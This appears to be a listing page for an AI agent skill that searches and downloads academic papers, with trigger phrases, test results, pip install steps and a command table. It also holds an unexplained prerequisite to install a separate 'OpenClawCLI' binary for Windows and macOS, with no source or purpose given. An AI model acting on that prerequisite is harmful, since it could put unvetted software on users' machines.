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Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to \"find papers on\", \"search research about\", \"download academic articles\", \"get citations for\", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub
Passed 22 of 25 test cases with the skill, and 0 of 25 without it.
22 fixed0 passed either way3 still failing0 broke
Tokens, turns and time describe resource use, not a dollar price.
The instructions your model reads when the skill loads.
Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation Best Practices:
# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests
Never use --break-system-packages as it can damage your system's Python installation.
| Task | Command |
|---|---|
| Search arXiv | python scripts/research.py arxiv "quantum computing" |
| Search PubMed | python scripts/research.py pubmed "covid vaccine" |
| Search Semantic Scholar | python scripts/research.py semantic "machine learning" |
| Download papers | python scripts/research.py arxiv "topic" --download |
| Get citations | python scripts/research.py arxiv "topic" --citations |
| Generate bibliography | python scripts/research.py arxiv "topic" --format bibtex |
| Save results | python scripts/research.py arxiv "topic" --output results.json |
Search across multiple academic databases from a single interface.
test cases passed, vs 0 / 25 without
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